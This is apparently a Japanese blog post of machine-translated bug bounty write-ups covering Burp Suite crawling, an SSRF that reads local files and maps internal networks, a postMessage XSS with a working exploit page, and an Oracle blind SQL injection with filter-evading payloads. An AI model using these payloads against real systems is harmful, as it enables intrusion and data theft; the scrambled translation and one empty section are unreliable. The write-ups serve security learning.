Skyrocket Your Bug Bounty Success Using These Crawlers から学ぶ(BurpSuite)

ソース:

medium.com

 

訳:

Burp Spider

私たちが試してみる最後のクローラーは、Burp Spider で。
これが今のところ私のお気に入りですが、効率的にするにはかなり優れたコンピュータが必要で。
残念ながら、私のコンピューターはかなり古いものですが、単純なクロールであればほぼ問題ないと。
その前に、スコープを設定する必要があります。
ターゲット -> スコープ設定に移動し、高度なコントロールを使用すると、「ロード」を使用してワイルドカードをロードしてみることができ。

 

 

を追加することをお勧めします。 wildcards.txt これには

 

 

に移動します 次に、ダッシュボード -> 新しいスキャン -> クロール

 

 

URLを読み込んでスキャンしたいと考えて。
ファイルをcat して to-crawl.txt xclip ユーティリティを選択してコピーしてみます。 

 

cat to-crawl.txt | xclip -selection copy

 

200 個の URL の場合は、ほぼ問題ありません。
セクションに貼り付けます これを「スキャンする URL」 。 

 

 

ここでスキャン構成を編集してみて。

 

 

という名前を付け この設定にCrawler 、5 つのリンクの深さを使用し、いくつかの制限を設定する必要があります。 

 

 

最大クロール期間は 600 分 にしたいです。 で発見されたユニークな場所 そして、 150000

 

 

他の設定はデフォルトのままにし、保存して実行してみて。
クローラーの実行が終了したら、結果をエクスポートしたいと思い。
収集したエンドポイントをエクスポートする方法には巧妙なトリックがあり。
GAP 拡張機能 を使用できます。 をインストールする必要があり Pythonjython 、リンクする必要もあり。

タブに移動し[ターゲット] 、収集されたエンドポイントをすべて選択してGAP に送信。

 

 

ロードされるまで待つ必要があり。
リンクのみが必要なものを選択し、それが完全にロードされるのを待って、「 範囲内のみ」 でフィルタリングし。 

 

 

ジャンクな結果がたくさんあるため、 https を持つ結果のみを含めることをお勧めして。
Ctrl+C を押して、それらを gap.txt に配置し。
Burpを扱うときにお勧めします。
最良の方法は、[ターゲット] タブにアクセスして結果を表示し、他のサードパーティ ツールを使用しないことです…追加のチェックに合格したくない場合は除きます。
それはかなり良いアイデアかもしれませんが、この場合は、手動でテストし、バックグラウンドで実行するクローラーを使用しているときにのみBurp を使用し。

Exploiting Non-Cloud SSRF for More Fun & Profit から学ぶ

ソース:

medium.com

脆弱性:SSRF

 

訳:

空き時間にランダムなターゲットを探しているときに、会社とマーケティングに関連するレポートを表示できるサブドメインを 1 つ見つけ。
レポートを PDF 形式で表示できる機能を 1 つ見つけて。

レポートを PDF 形式で表示するには

 ボタンをクリックすると、 PDF リクエストが 1 つ作成され、応答は次のようになり。

 

 

リクエストとレスポンス

ここで、すぐに 1 つのランダムな URL (例: evil.com) を status_url パラメータに挿入し、その evil.com の応答を取得して。
これで、 完全な読み取り SSRF を確認できて。

 

SSRFのフルリードを確認

次に、 file:/// プロトコル経由で読み取られたローカル ファイルを確認し。
file:///etc/passwd を追加してリクエストを送信すると、Akamai からの応答は403。

 

ファイル プロトコルが原因で WAF がブロックされて

これをここにドロップし、localhost の内部ポート スキャンを実行し、侵入者を使用して 1 ~ 10000 のポートをスキャンし、開いている 2 つのポート、つまり 25 と 9080 を正常に見つけ。

 

25 esmtp postfixservice でポートが開かれています

9080 ランダムな内部 Web サーバーで開く

さて、このエクスプロイトは報告するのに十分だと思い、これを会社に報告し。
そして、彼らの反応は次のようなもので。

 

 

さて、私は同じ日にこの問題について詳しく調べ始め。たとえば、Gopher などの他のプロトコルを試したり、内部 IP や内部ホストなどを見つけようとしたりしましたが、成功せず。もう 1 つの不運は、クラウドも使用していないことです:(

2 時間休憩し、 Akamai WAF プロトコルをブロックする file:/// などの一般的なファイルをブロックする一連の WAF ルールがあることがわかりました についてさらに詳しく調査し始めたところ、etc/passwd、etc/hosts 。シャドウ などで、centos に関するさまざまなファイル パスを探索し始めました。
いくつかのファイルを正常に読み取ることができましたが、興味深いファイル ( proc/net/arp ) を 1 つ見つけました。

 

file:///proc/net/arp

ここで、すべての内部 IP を書き留め、 2 つの CIDR 範囲を構築しました:) 次のような 

172.31.0.0/23
172.31.0.1–255
172.31.1.1–255

172.31.8.0/23
172.31.8.1–255
172.31.9.1–255


変換したところ ここで、これらのCIDR 範囲 をIP アドレスに 、 1024 個の IP アドレスが得られ。
 

つぎは?

 

次に、イントルーダーを使用してこれらの IP をブルート フォース攻撃してみましょう :) その結果は驚くべきもので :)

 

ランダムな内部 Web サーバーにアクセスした

一部のファイルでディレクトリリストが有効になっている内部 Web サーバー


さて、ここからが厄介な部分になり。
次に、以下のリクエストに応じて、ターゲットに属するホスト名 (たとえば、「 .target」) ように、6000 以上の結果が見つかりました を検索しました。 たとえば、 some-internal-app.target.ad here の
広告は
アクティブディレクトリを表します 

 

6000以上の内部ホスト名

ホスト名の例

次に、すべての 内部ホスト名を抽出し、 intruder を使用して再度ブルート フォース攻撃を開始しました 、これで終わりです😂
攻撃者として会社を乗っ取ることができたので

そして結果は次のとおりです:)

 

内部ウェブサーバー:)

一部の監視サービス

内部マッピングマネージャー

一部の内部ログイン ページ

HAプロキシ統計

これで終わり、会社の内部ネットワークで実行されている 1000 以上の Web サービスにアクセスできました。 

 

ほなほな。





 

Email Verification Bypass via Remember Me から学ぶ

ソース:

medium.com

脆弱性:BAC

 

訳:

 企業は賢くなっています。
今では、ユーザーが一時的なメールを使用してダミーのアカウントを作成することを望んでいなく。
そのため、彼らは電子メール検証を実装していて。
つまり、アカウントを作成した後、OTP が提供されるか、電子メールに送信される確認リンクがクリックされるまで、アカウントのダッシュボードにリダイレクトされず。

 

 しかし、私たちはこの種の認証をバイパスするためにここにいて。
どうやって見てみましょうか?

 

再現手順

 

ほなほな。

Exploiting PostMessage for cool XSS vulnerabilities から学ぶ

ソース:

manasharsh.medium.com

 

脆弱性XSS、postMessage

 

訳:

XSS を見つけるのが大好きな人の多くは、かつては可能性があったにもかかわらず、通常、PostMessage XSS を見逃していて。
そこで、簡単なリソースを探している人に役立つかもしれないこのトピックをここで取り上げることにして。

まず、PostMessage がどのように機能するかを理解しましょ。
によると Mozilla :- window.postMessage() メソッドは、Window オブジェクト間のクロスオリジン通信を安全に有効にします。
たとえば、ページとそれが生成したポップアップの間、またはページとその中に埋め込まれた iframe の間などで。
JS には PostMessage を定義するさまざまな構文があって。

 

 

アプリケーションに機能を理解させるために、PostMessage にはいくつかのパラメーターがあって。
これらのパラメータは次のとおりで:-

message:-  他のウィンドウに送信されるデータ。

options:- を含むオプションのオブジェクト transferフィールドとオプション targetOriginメッセージを限定されたターゲットのみに制限する文字列を含むフィールド。

targetOrigin:- イベントが送出されるために必要なこのウィンドウの起点を指定します。

transfer:- 一連の 転送可能なオブジェクト。 メッセージとともに転送される

PostMessage についてある程度理解できたら、XSS につながる何が問題なのかを調べてみましょう。 このコードを見てみましょう:-

 

<html>
<head>
<title>site1</title>
<meta charset="utf-8" />
<script>

var child;
function openChild() {child = window.open('2.html', 'popup', 'height=300px, width=500px');

}
function sendMessage(){
let msg={url : "1.html"};
child.postMessage(msg,'*')
child.focus();
}</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>

上記のコードを見ると、2 つのボタンがあります。

  • を含むポップアップを開きます 最初のものは、 2.html openChild()関数
  • 2 番目のものはメッセージを送信します sendMessage()関数。 これを行うには、メッセージを定義して設定します。 msg変数を呼び出してから呼び出す postMessage(msg,'*')

他のコード部分が何を言っているか見てみましょう:-

<html>
<head>
<title>site2</title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
document.getElementById("redirection").href=`${event.data.url}`;

});function closeMe() {
try {window.close();
} catch (e) { console.log(e) }
try {self.close();
} catch (e) { console.log(e) }}
</script>
</head>
<body>
<form>
<h1>Recipient of postMessage</h1>
<fieldset>
<a type='text' id='redirection' href=''>Go back</a>
<input type='button' id='btnCloseMe' value='Close me' onclick='closeMe();' />
</fieldset>

</form>
</body>
</html>

 

このコードでは:-

  • リンクは後方リダイレクトを処理します。 の hrefリスナーで受信したデータに応じてフィールドが変化します window.addEventListener("message", (event)。 メッセージを受信した後、イベント内のデータが次から読み取られ。 event.data.urlそして渡されました href.
  • ボタンは関数を呼び出しているウィンドウを閉じます closeMe()

それに伴い、さらに注意しなければならないことがいくつかあり。
以下を含むコードがいくつかあります:-

 

getDataFromEvent 」 : 受信したメッセージからデータを抽出するために使用されます。

createFloatingPageElement 」: この関数は、DOM 内に iframe を作成するために使用されます。

 

に戻ります。 さて、本題の搾取の部分

PostMessage が正しく実装されていないか、悪い方法で実装されている場合、クロスサイト スクリプティング脆弱性 (XSS) が発生する可能性があり。
この場合、 2.html は メッセージを期待している 、origin を検証せずに ため、 2.html ロードし、 iframe として postMessage()を操作する関数 href価値。

 
<html>
<head>
<title>XSS Exploitation</title>
<meta charset="utf-8" />


</head>
<body>

<iframe id="frame" src="2.html" ></iframe>

<script>

let msg={url : "javascript:prompt(XSS)"};
var iFrame = document.getElementById("frame")
iFrame.contentWindow.postMessage(msg, '*');

</script>
</body>
</html>

 

ここで、 msg変数にはデータが含まれています {url : "javascript:prompt(XSS)"};、2.htmlに送信され。
2.html を実行すると、の値が変更されます。
<a hrefの値に msg.url。 ユーザーが 「戻る」 リンクをクリックすると、 XSS実行されて。

これは非常に単純なシナリオですが、一部のシナリオは非常に複雑になる可能性が。
しかし、まずはこれがその 1 つです。
ペンテスターまたはバグ賞金稼ぎとして、これらの点を念頭に置くことが非常に重要。 ここで Javascript の知識が役に立ちます。
理解すればするほど、ブラウザベースの脆弱性をより上手に発見できるようになり。

 

部分については 軽減策の Mozilla が提案したいくつかの手順を次に示します。

  • ではなく、常に正確なターゲット原点を指定します。 *、使用するときは postMessage他のウィンドウにデータを送信します。 悪意のあるサイトは、ユーザーの知らないうちにウィンドウの位置を変更する可能性があるため、次を使用して送信されたデータを傍受する可能性があります。 postMessage.
  • 他のサイトからメッセージを受信する予定がない場合は、他のサイト ないでください。 にイベント リスナーを追加し messageイベント。 これはセキュリティ上の問題を回避するための完全に確実な方法です。
  • 他のサイトからメッセージを受信することが予想される場合は、常に、 originそしておそらく sourceプロパティ。

 

ほなほな。

Tricky Oracle SQL Injection Situation から学ぶ

ソース:

blog.yappare.com

脆弱性SQLインジェクション
 
訳:
最近、侵入テスト中に見つかった SQL インジェクションを解決するときに、いくつかの新しいこととバグバウンティを学び。
私にとって新しいと思われる新しいテクニックの 1 つは、師匠の pokleyzz から学んだもので。
この挿入は最近のバグ報奨プログラムで発見され、実際のパス/パラメータが置き換えられ。

インジェクションは次のエンドポイントの「idNumber」パラメータで見つかりました
/foo/?theName=YAP&idNumber=248001[ここ]

 

このターゲットでは一般的なペイロードが実行され、最初は次のペイロードTRUE / FALSE 条件を識別するために機能していることがわかり。

 

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE  


パイプ演算子も使用できて。

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE


に絞り込むことができました これらの条件により、このアプリケーションで使用するデータベースをOracle PosgreSQL IBM DB2 、または Informix 。 

 

最初は、私が知っているのと同じテクニックを使用してこれを実行できると思い。

参照: https://blog.yappare.com/2012/04/advance-oracle-blind-sql-injection.html

ただし、 CASE() は 機能しませんでした。
使い方を理解するのをやめました 何度か試した後、 CASE() の 。 次に、このテクニックを試し。

参照: https://blog.yappare.com/2017/03/blind-sql-injection-in-erim-not-sure.html

喜びはありません。 デッドエンド。
ほぼ2日間試した後、私は自分でやるのを諦め、数人の友人に助けを求め。
運がなかった。 私は最後のオプションである pokleyzz を試しました。
わずか1時間弱で使えるテクニックを教えてくれました。 

 

/foo/?theName=YAP&idNumber=248'||<既知の SQL 関数をここにブルートフォース>||'001


その結果、「 rownum 」が受け入れられたことがわかり、これは DBMSOracle であることを示しています。 再確認のため、次のことを質問しました。

/foo/?theName=YAP&idNumber=24800'||行番号||'


上記のペイロードにより、Web サイトには 「 theName 」製品のリストが表示されます。 で始まる 「 idNumber 」 24800 

 

 

面白い! さて、この注入から少なくともデータを抽出するにはどうすればよいでしょうか? 別のブロッカーが特定されました。 アプリケーションが次の文字をフィルタリング/置換したようです
_ ( ) + . whitespaces

これも行き止まりのように思えますが、pokleyzz は次のペイロードを使用してデータを抽出する別の素晴らしい方法を示しました。

 

/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"

そして最後のステップは次のとおりです。 

 

 /foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%

 

上記の攻撃ポイントで Intruder を実行すると、出来上がり、ユーザー名を取得し。

 

ほなほな。